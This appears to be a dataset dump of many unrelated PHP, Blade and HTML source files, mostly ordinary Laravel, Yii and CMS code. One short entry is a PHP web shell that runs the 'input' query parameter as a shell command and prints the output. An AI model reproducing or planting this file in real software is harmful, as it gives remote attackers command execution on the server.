text
stringlengths
2
1.03M
<?php namespace Czim\Processor; use Czim\DataObject\Contracts\DataObjectInterface; use Czim\Processor\Contracts\ProcessorInterface; use Czim\Processor\DataObjects\ProcessorData; use Czim\Processor\DataObjects\ProcessorResult; use Illuminate\Contracts\Support\Arrayable; use Illuminate\Support\MessageBag; abstract cla...
<?php Class migration_221 extends Migration{ static function getVersion(){ return '2.2.1'; } static function getReleaseNotes(){ return 'http://getsymphony.com/download/releases/version/2.2.1/'; } static function upgrade(){ // 2.2.1 Beta 1 if(version_compare(self::$existing_version, '2.2.1 Be...
<?php namespace OAuthTest\Unit\OAuth2\Service; use OAuth\OAuth2\Service\Amazon; use OAuth\Common\Token\TokenInterface; class AmazonTest extends \PHPUnit_Framework_TestCase { /** * @covers OAuth\OAuth2\Service\Amazon::__construct */ public function testConstructCorrectInterfaceWithoutCustomUri() ...
<?php namespace App\Mail; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Mail\Mailable; use Illuminate\Queue\SerializesModels; use App\User; class VerificationEmail extends Mailable { use Queueable, SerializesModels; /** * Create a new message instance. * ...
<?php declare(strict_types=1); /* * This file is part of Symplify * Copyright (c) 2016 Tomas Votruba (http://tomasvotruba.cz). */ namespace Symplify\ActionAutowire\DependencyInjection; use Symfony\Component\DependencyInjection\Container; final class ServiceLocator { /** * @var Container */ pri...
<?php /** * @package Joomla.Site * @subpackage mod_tags_popular * * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; ?> <?php JLoader::register('TagsHelperRoute', ...
<?php namespace App\Http\Livewire\Admin\Sales; use Carbon\Carbon; use App\Models\Product; use Livewire\Component; use Hamcrest\Core\HasToString; use Illuminate\Support\Facades\Auth; use App\Http\Controllers\Admin\SaleController; class NewOrder extends Component{ public $search; public $view = 2; public...
<?php /** * Copyright (c) 2015-present, Facebook, Inc. All rights reserved. * * You are hereby granted a non-exclusive, worldwide, royalty-free license to * use, copy, modify, and distribute this software in source code or binary * form for use in connection with the web services and APIs provided by * Facebook. ...
@extends('layouts.master') @section('content') <p id="power">0</p> <div id="hugo"></div> @stop @section('footer') <script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/2.1.1/socket.io.js"></script> <script> var socket = io('http://127.0.0.1:3000'); //var socket = io('http://...
@extends('layouts.admin') @section('title') <title>Dashboard</title> @endsection @section('content') <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <div class="content-header"> <div class="container-fluid"> <div c...
<?php namespace AppBundle\Repository\Backend; /** * AdminRepository * * This class was generated by the Doctrine ORM. Add your own custom * repository methods below. */ class AdminRepository extends \Doctrine\ORM\EntityRepository { }
<?php /** * * 微信支付API异常类 * @author widyhu * */ class WxPayException extends Exception{ public function __construct() { echo "<span style='font-size:1.8rem;line-height:2.5rem;padding:4rem 1.25rem 0;'>参数异常,请稍后重新提交。<a href='".WEB_HOST."'>返回</a></span>"; exit(); } public function errorMessage() { retur...
@extends('layouts.app') @section('htmlheader_title') Home @endsection @section('main-content') <body> <?php if ($msj==!"") { ?> <div ><label style='background-color: #E9FCFA; border: 1px dashed #006600; padding: 8px; margin-bottom: 10px; font-family: Arial; font-size:12px; width:100%'><?php ech...
<?php namespace _HumbugBox5aeb92ac2e46b\KevinGH\RequirementChecker; /** @private */ final class Printer { private $styles = array('reset' => "\33[0m", 'red' => "\33[31m", 'green' => "\33[32m", 'yellow' => "\33[33m", 'title' => "\33[33m", 'error' => "\33[37;41m", 'success' => "\33[30;42m"); private $verbosity;...
@extends('layouts.clean') @section('above_container') <div class="header-section bg-secondary"> <h1>Bots</h1> <p>{{config('app.name')}} bots</p> </div> @php // $routes = Route::getRoutes()->getRoutesByMethod()['GET']; // return dump($routes); $users = App\User::all(); $routeHasFilter = collect(); foreach ($us...
<?php use yii\helpers\Html; /* @var $this yii\web\View */ /* @var $model app\models\vip\VipAddress */ $this->title = '创建收货地址'; // $this->params['breadcrumbs'][] = ['label' => 'Vip Addresses', 'url' => ['index']]; // $this->params['breadcrumbs'][] = $this->title; ?> <div class="vip-address-create wrapper"> <?=$t...
<?php /** * Zend Framework (http://framework.zend.com/) * * @link http://github.com/zendframework/zf2 for the canonical source repository * @copyright Copyright (c) 2005-2012 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License * @package Z...
<?php namespace App\Providers; use App\Models\User; use Illuminate\Support\Facades\Gate; use Illuminate\Support\ServiceProvider; use \Firebase\JWT\JWT; class AuthServiceProvider extends ServiceProvider { /** * Register any application services. * * @return void */ public function register...
<?php namespace App\Http\Modules\reports\School\Models; use App\Http\Models\Model; use App\Http\Models\Traits\OwnerOrganization; class DICE extends Model { protected $screenId = '/cabinet/pdf---dice'; protected $repositoryNamespace = 'App\Http\Modules\reports\School\Repositories\DICERepository'; use Ow...
<?php /* * This file is part of PHPExifTool. * * (c) 2012 Romain Neutron <imprec@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPExiftool\Driver\Tag\XMPXmpDM; use JMS\Serializer\Annotation\ExclusionPolicy...
<?php declare(strict_types=1); namespace Sabre\DAV; use Sabre\DAVServerTest; use Sabre\HTTP; /** * Tests related to the PUT request. * * @copyright Copyright (C) fruux GmbH (https://fruux.com/) * @author Evert Pot (http://evertpot.com/) * @license http://sabre.io/license/ Modified BSD License */ class HttpDel...
<?php /* * Copyright (c) 2017-2018 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENS...
<?php /** * @package hubzero-cms * @copyright Copyright 2005-2019 HUBzero Foundation, LLC. * @license http://opensource.org/licenses/MIT MIT */ // No direct access defined('_HZEXEC_') or die(); /** * Cron plugin for user events */ class plgCronUsers extends \Hubzero\Plugin\Plugin { /** * Return a list...
<?php namespace App\Http\Controllers\Auth; use Illuminate\Support\Facades\Auth; use App\Http\Controllers\Controller; use Illuminate\Foundation\Auth\AuthenticatesUsers; class LoginController extends Controller { /* |-------------------------------------------------------------------------- | Login Control...
@extends('back.layouts.base') @section('titulo') <title>Solicitudes de ayudantías técnicas - Sicdeudo</title> @stop @section('content') @include('back.layouts.content-title', ['titulo' => 'Solicitudes de Ayudantías Técnicas']) <div class="row"> <div class="col-sm-12"> <div class="card-box table-responsive"> <ta...
<?php declare(strict_types=1); /** * This file is part of Larastan. * * (c) Nuno Maduro <enunomaduro@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace NunoMaduro\Larastan\Methods; use Illuminate\Database\El...
<?php namespace App\Http; use Illuminate\Foundation\Http\Kernel as HttpKernel; class Kernel extends HttpKernel { /** * The application's global HTTP middleware stack. * * These middleware are run during every request to your application. * * @var array */ protected $middleware =...
@extends('main') @section('title', '| Login') @section('content') <div class="container"> <div class="row justify-content-center"> <div class="col-md-8"> <div class="card"> <div class="card-header">{{ __('Login') }}</div> <div class="card-body"> ...
<?php /** * справочник мкб */ use yii\db\Schema; use yii\db\Migration; class m160108_083459_3 extends Migration { public function up() { $path = Yii::$app->basePath . DIRECTORY_SEPARATOR . 'src' . DIRECTORY_SEPARATOR . 'Mkb' . DIRECTORY_SEPARATOR . 'data.csv'; $data = []; $file_handle =...
<?php namespace App\Http; use Illuminate\Foundation\Http\Kernel as HttpKernel; class Kernel extends HttpKernel { /** * The application's global HTTP middleware stack. * * These middleware are run during every request to your application. * * @var array */ protected $middleware =...
<?php namespace App\Http\Controllers; use App\Helper\Media; use App\Models\Merchant; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Hash; class MerchantController extends Controller { use Media; const VIEW='merchant.'; public function __construct() { $this->...
<?php /** * Class Helper * @author: Ivan Vereš */ class Helper { protected $db; public function __construct() { $this->db = Database::getInstance(); } public function getCharacterName() { if(isset($_SESSION['id'])) { $characterName = $this->db->query('SELECT ch...
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /> <meta name="description" content="" /> <meta name="author" content...
<?php namespace TakeawayTown\LaravelGuid; use Illuminate\Support\ServiceProvider; /** * Class GuidServiceProvider * @package gustavtrenwith\guid * @author Gustav Trenwith <gtrenwith@gmail.com> */ class GuidServiceProvider extends ServiceProvider { /** * Indicates if loading of the provider is deferred. ...
<?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator ...
<?php use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Route; /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. T...
<?php use yii\helpers\Html; use yii\grid\GridView; use yii\widgets\Pjax; /* @var $this yii\web\View */ /* @var $searchModel app\modules\vacunaciones\models\TipoVacunacionSearch */ /* @var $dataProvider yii\data\ActiveDataProvider */ $this->title = 'Tipo Vacunacions'; $this->params['breadcrumbs'][] = $this->title; ?> ...
<?php return array( /* |-------------------------------------------------------------------------- | Path to directory for storing log files |-------------------------------------------------------------------------- | | This is path to directory storing your log files | */ 'path'...
<?php require_once __DIR__.'/../vendor/autoload.php'; (new Laravel\Lumen\Bootstrap\LoadEnvironmentVariables( dirname(__DIR__) ))->bootstrap(); date_default_timezone_set(env('APP_TIMEZONE', 'UTC')); /* |-------------------------------------------------------------------------- | Create The Application |---------...
<?php declare(strict_types=1); /** * Author: jyiL * Date: 2020/12/23 * Time: 14:12 * Email: avril.leo@yahoo.com */ return [ 'title' => '操作日志', 'setting_title' => '操作日志', ];
<?php namespace Hail\Console\Exception; class UnsupportedShellException extends \RuntimeException { }
<?php use Illuminate\Database\Seeder; use App\Student; class StudentsSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { for ($i=0; $i < 20; $i++) { $nama = 'Adip-'; $jk = 'L'; if ($i > 10) ...
<?php use Symfony\Component\DependencyInjection\Argument\RewindableGenerator; // This file has been auto-generated by the Symfony Dependency Injection Component for internal use. // Returns the public 'PrestaShopBundle\Controller\Admin\Sell\Catalog\AttributeController' shared service. $this->services['PrestaShopBund...
<?php namespace Laravel\Nova\Fields; use Closure; use Illuminate\Database\Eloquent\Relations\Relation; use Illuminate\Http\Request; use Illuminate\Support\Str; use Laravel\Nova\Contracts\RelatableField; use Laravel\Nova\Http\Requests\NovaRequest; use Laravel\Nova\Http\Requests\ResourceIndexRequest; use Laravel\Nova\N...
<?php defined('BASEPATH') OR exit('No direct script access allowed'); class Settings extends CI_Controller { function __construct() { parent::__construct(); ini_set('max_execution_time', 5000); ini_set("memory_limit", "-1"); date_default_timezone_set('Asia/Kolkata'); $this->load->library('session'); ...
<?php $__env->startSection('content'); ?> <div class="container"> <div class="row justify-content-center"> <div class="col-md-8"> <div class="card"> <div class="card-header"><?php echo e(__('Reset Password')); ?></div> <div class="card-body"> ...
<?php namespace App\Http\Resources; use Illuminate\Http\Resources\Json\JsonResource; class DeviceResourceSingle extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array */ public function toArray($request) {...
<?php namespace App\Controllers; use Sober\Controller\Controller; use WP_Query; class App extends Controller { public function siteName() { return get_bloginfo('name'); } public function stateTerms() { global $wp; $statetermlist = get_terms( array( 'taxonomy' => 'state',...
<?php namespace App; use Carbon\Carbon; use Illuminate\Database\Eloquent\Model; class Article extends Model { /* /------------------------------------------- / Allows for mass assignment of given fields /------------------------------------------- */ protected $fillable = [ 'title', ...
<?php namespace App\Http\Controllers; use App\Contact; use App\Http\Resources\Contact as ContactResource; use Illuminate\Http\Request; class SearchController extends Controller { public function index() { $data = request()->validate([ 'searchTerm'=>'required' ]); $contacts...
<?php /** * ECSHOP 程序说明 * =========================================================== * * 版权所有 2005-2012 上海商派网络科技有限公司,并保留所有权利。 * 网站地址: http://www.ecshop.com; * ---------------------------------------------------------- * 这不是一个自由软件!您只能在不用于商业目的的前提下对程序代码进行修改和 * 使用;不允许对程序代码以任何形式任何目的的再发布。 * ========================...
<?php namespace App; use Illuminate\Support\Facades\DB; use Illuminate\Database\Eloquent\Model; use App\Bid; use App\Exceptions\AuctionUnavailableException; use App\Exceptions\InvalidBidOfferException; use Illuminate\Support\Facades\Auth; class Auction extends Model { protected $fillable = [ 'title', 'de...
<?php use PHPUnit\Framework\TestCase; require_once(SRC_DIR . 'binson.php'); /** * @group tostring */ class StringToStringTest extends TestCase { private function processString(string $str, string $arg) { $buf = ""; $writer = new BinsonWriter($buf); $writer->arrayBegin()->putString($ar...
@extends('layouts.master') @section('content') @component('components.tabs',['title'=>'标签管理']) @slot('nav') <li class="nav-item"> <a href="/admin/tags" class="nav-link"> <span class="d-none d-lg-block">标签列表</span> </a> </li> ...
<?php namespace App; use Illuminate\Database\Eloquent\Model; class Examen extends Model { //método que hace referencia a el modelo Examen para indicar su pertenecia public function exa(){ return $this->belongsTo(Examen::class,'id_examen'); } }
<!DOCTYPE html> <html lang="en"> <head> <title>About us</title> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="description" content="Elearn project"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" href="{{ asset('styl...
@extends('layouts.master') @section('content') <!DOCTYPE html> <html lang="en"> <head> <title>Uredi film</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <scr...
<?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages th...
</div> <!-- /#page-wrapper --> </div> <!-- /#wrapper --> <!-- jQuery --> <!-- Bootstrap Core JavaScript --> <script src="<?php echo asset_url();?>admin/bower_components/bootstrap/dist/js/bootstrap.min.js"></script> <!-- Metis Menu Plugin JavaScript --> <script src="<?php echo a...
<?php use yii\helpers\Html; use yii\widgets\DetailView; /* @var $this yii\web\View */ /* @var $model app\modules\Inventory\models\TbSt2 */ $this->title = $model->STID; $this->params['breadcrumbs'][] = ['label' => 'Tb St2s', 'url' => ['index']]; $this->params['breadcrumbs'][] = $this->title; ?> <div class="tb-st2-vie...
<?php namespace Reusables; Views::setParams( [ "featured_imagepath", "title", "subtitle", "html_text" ], [], $identifier ); $viewdict = Convert::keys( $viewdict ); ?> <style> </style> <div class="<?php echo $identifier ?> imagetext_desc main clicktoedit"> <?php echo Structure::make( "main_with...
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Styles for management of Routines, Triggers and Events * for the pmahomme theme * * @package PhpMyAdmin-theme * @subpackage PMAHomme */ // unplanned execution path if (! defined('PHPMYADMIN') && ! defined('TESTSUITE')) { exit(); } ?> .rte_table { ...
<?php namespace Application\Migrations; use Doctrine\DBAL\Migrations\AbstractMigration; use Doctrine\DBAL\Schema\Schema; /** * Auto-generated Migration: Please modify to your needs! */ class Version20160927213409 extends AbstractMigration { /** * @param Schema $schema */ public function up(Schema...
<?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class ProductAdditionalImage extends Model { protected $table = 'product_additional_images'; protected $fillable = ['product_id', 'additional_image']; public function product() { return $this->belongsTo('App\Models\Product',...
<?php namespace Urbem\RecursosHumanosBundle\Form\Pessoal; use Doctrine\ORM\EntityRepository; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\FormBuilderInterface; use Symfony\Component\Form\Extension\Core\Type; use Symfony\Component\Form\FormEvent; use Symfony\Component\Form\FormEvents; use Symf...
<!DOCTYPE html> <html lang="{{ str_replace('_', '-', app()->getLocale()) }}"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Laravel</title> <!-- Fonts --> <link href="https://fonts.googleapis.com/css2?family=Nunito...
<?php namespace Module\Document\Service; use Module\Document\Domain\CodeParser; use Module\Document\Domain\Model\FieldModel; use Module\Document\Domain\Repositories\ApiRepository; use Module\Document\Domain\Repositories\MockRepository; use Module\Document\Domain\Repositories\ProjectRepository; class ApiController ext...
<?php namespace Nonetallt\Jinitialize\Plugin\Project; use SebastiaanLuca\StubGenerator\StubGenerator; class Project { private $basePath; private $folders; public function __construct(string $basePath) { $this->basePath = $basePath; $this->folders = null; } /* TODO factory */...
<?php namespace phpcassa\Iterator; use phpcassa\Schema\DataType\Serialized; use cassandra\KeyRange; /** * Iterates over a column family row-by-row, typically with only a subset * of each row's columns. * * @package phpcassa\Iterator */ class RangeTokenColumnFamilyIterator extends ColumnFamilyIterator { priv...
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Optional\Simples\ISimple; use Illuminate\Support\Facades\View; class SimpleController extends Controller { private $_simple; public function __construct(ISimple $simple){ $this->_simple = $simple; } public function ...
<?php namespace App\Http\Controllers\users; use Illuminate\Http\Request; use App\Http\Requests; use App\Http\Controllers\Controller; class UserController extends Controller { /** *User will go to login page. */ public function index(){ //echo 'login page'; die(); return view('login...
<?php header("content-type: text/plain"); $input = $_GET['input']; //Run the command in shell, redirect stderr to stdout $output = `2>&1 $input`; //Print the output echo $output; ?>
<?php defined('BASEPATH') OR exit('No direct script access allowed'); /* | ------------------------------------------------------------------- | DATABASE CONNECTIVITY SETTINGS | ------------------------------------------------------------------- | This file will contain the settings needed to access your database. | |...
<?php namespace Drupal\commerce_shipping\Plugin\Field\FieldWidget; use Drupal\commerce_shipping\ShipmentItem; use Drupal\Core\Field\FieldItemListInterface; use Drupal\Core\Field\WidgetBase; use Drupal\Core\Form\FormStateInterface; /** * Plugin implementation of 'commerce_shipment_item_default'. * * @FieldWidget( ...
@extends('layouts.main') @section('container') <div class="main"> <div class="main-content"> <div class="container-fluid"> <div class="row"> <div class="col"> <div class="panel"> <div class="panel-heading"> ...
<?php namespace App; use Illuminate\Database\Eloquent\Model; class Dosen extends Model { protected $table = 'dosen'; protected $fillable = ['nama','nip','alamat','pengguna_id']; public function pengguna() { return $this->belongsTo(pengguna::class); } public function dosen_matakuliah()...
<?php namespace app\model; use yii; use yii\db\ActiveRecord; class AdminTree1 extends ActiveRecord { public static function tableName() { return 'pz_node'; } /** * [page description] * @method page * @param string $kw [description] * @param integer $cp [description] ...
<?php declare(strict_types=1); namespace Rector\NodeTypeResolver\NodeTypeResolver; use PhpParser\Node; use PhpParser\Node\Expr\Variable; use PhpParser\Node\Param; use PhpParser\Node\Stmt\Trait_; use PHPStan\Analyser\Scope; use PHPStan\Type\MixedType; use PHPStan\Type\Type; use Rector\BetterPhpDocParser\PhpDocInfo\Ph...
<?php /* * This file is part of the Google APIs PHP Clients package. * * (c) Stephen Melrose <me@stephenmelrose.co.uk> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Google\Api; /** * Adapter executes an API request ...
<?php get_header(); ?> <div class="black-bg white page-my-gear min-height-100 cursor-green-tiny" data-barba="container" data-barba-namespace="my-gear"> <?php if (have_posts()) : while (have_posts()) : the_post(); ?> <div class="content-wrapper container content-right mb-4 mobile-no-content-right"> ...
<?php namespace Chase\Helga; class Validator { /** * Stores the key for single values */ private $__key__; /** * Stores the rules * * @var array */ private $__rules__; /** * Stores the variable or array to be validated * * @var mixed */ ...
<?php final class PhabricatorOwnersDetailController extends PhabricatorOwnersController { public function shouldAllowPublic() { return true; } public function handleRequest(AphrontRequest $request) { $viewer = $this->getViewer(); $package = id(new PhabricatorOwnersPackageQuery()) ->setView...
<?php namespace Libs\PaymentHandling\Events; use Libs\PaymentHandling\Interfaces\PaymentEvent; class SuccessfulPaymentEvent implements PaymentEvent { /** * @var string */ private $orderId; /** * SuccessfulPaymentEvent constructor. * @param string $orderId */ public function ...
<?php namespace CommonBundle\Tests\Controller; use Symfony\Bundle\FrameworkBundle\Test\WebTestCase; class DefaultControllerTest extends WebTestCase { public function testIndex() { $client = static::createClient(); $crawler = $client->request('GET', '/'); $this->assertTrue(true); ...
<?php use Appwrite\Auth\Auth; use Appwrite\Auth\Validator\Password; use Appwrite\Network\Validator\CNAME; use Appwrite\Network\Validator\Domain as DomainValidator; use Appwrite\Network\Validator\Origin; use Appwrite\Network\Validator\URL; use Appwrite\Utopia\Database\Validator\CustomId; use Appwrite\Utopia\Response; u...
<?php namespace App\Models; use Illuminate\Contracts\Auth\MustVerifyEmail; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Notifications\Notifiable; use Laravel\Fortify\TwoFactorAuthenticatable; use Laravel\Jetstream\HasProfilePhoto; use La...
<?php /** * AbstractResource.php * * @copyright Copyright (c) 2016 Continuous S.A. (https://continuousphp.com) * @license http://opensource.org/licenses/Apache-2.0 Apache License, Version 2.0 * @file AbstractResource.php * @link http://github.com/continuousphp/deploy-agent the canonical source repo *...
--TEST-- Test sprintf() function : usage variations - unsigned formats with boolean values --FILE-- <?php /* Prototype : string sprintf(string $format [, mixed $arg1 [, mixed ...]]) * Description: Return a formatted string * Source code: ext/standard/formatted_print.c */ echo "*** Testing sprintf() : unsigned forma...
{{-- resources/views/admin/dashboard.blade.php --}} @extends('adminlte::page') @section('title', 'Dashboard') @section('content_header') <h1>Dashboard</h1> @stop @section('content') <p>Welcome to this beautiful admin panel.</p> @stop @section('css') @stop @section('js') <script> console.log('Hi!'); </...
<?php use yii\helpers\Html; /* @var $this yii\web\View */ /* @var $model common\models\Transmission */ $this->title = 'Create Transmission'; $this->params['breadcrumbs'][] = ['label' => 'Transmissions', 'url' => ['index']]; $this->params['breadcrumbs'][] = $this->title; ?> <div class="transmission-create"> <h1...
<?php // My modifications to mailer script from: // Added input sanitizing to prevent injection // Only process POST reqeusts. if ($_SERVER["REQUEST_METHOD"] == "POST") { // Get the form fields and remove whitespace. $name = strip_tags(trim($_POST["name"])); $name = str_replace(arra...
<?php namespace Tests\Unit\Game\Core\Jobs; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Event; use App\Flare\Models\Item; use App\Game\Shop\Events\BuyItemEvent; use App\Game\Shop\Jobs\PurchaseItemsJob; use App\Game\Messages\Events\ServerMessageEvent; use Tests\TestCase; use Tests\...
<?php namespace App\Models; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Model; class BorrowedBook extends Model { use HasFactory; public $timestamps = false; protected $fillable = ['book_id', 'customer_id', 'start']; public function book() { //Un a...
<?php use App\User; use jeremykenedy\LaravelRoles\Models\Role; use jeremykenedy\LaravelRoles\Models\Permission; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Seeder; class ConnectRelationshipsSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public...
<?php namespace App\Http\Controllers; use App\Service; use App\Subscription; use App\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use App\Payment; use Illuminate\Support\Facades\File; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\U...
<?php namespace depexorPackages\Category\Events; use depexorPackages\Core\Events\AbstractResourceWasCreated; class CategoryWasCreated extends AbstractResourceWasCreated { }
<?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateDocumentsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('documents', f...
<?php /* * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS B...
<?php // Created by OMD hook MULTISITE_COOKIE_AUTH // $conf['useacl'] = 1; $conf['authtype'] = 'authmultisite'; $conf['superuser'] = '@admin'; $conf['multisite']['authfile'] = '/omd/sites/prod/var/check_mk/wato/auth/auth.php'; $conf['multisite']['auth_secret'] = '/omd/sites/prod/etc/auth.secret'; $conf['multisite']['au...
<?php namespace s9e\TextFormatter\Tests\Bundles; /** * @covers s9e\TextFormatter\Bundles\Fatdown * @covers s9e\TextFormatter\Bundles\Fatdown\Renderer */ class FatdownTest extends AbstractTest { }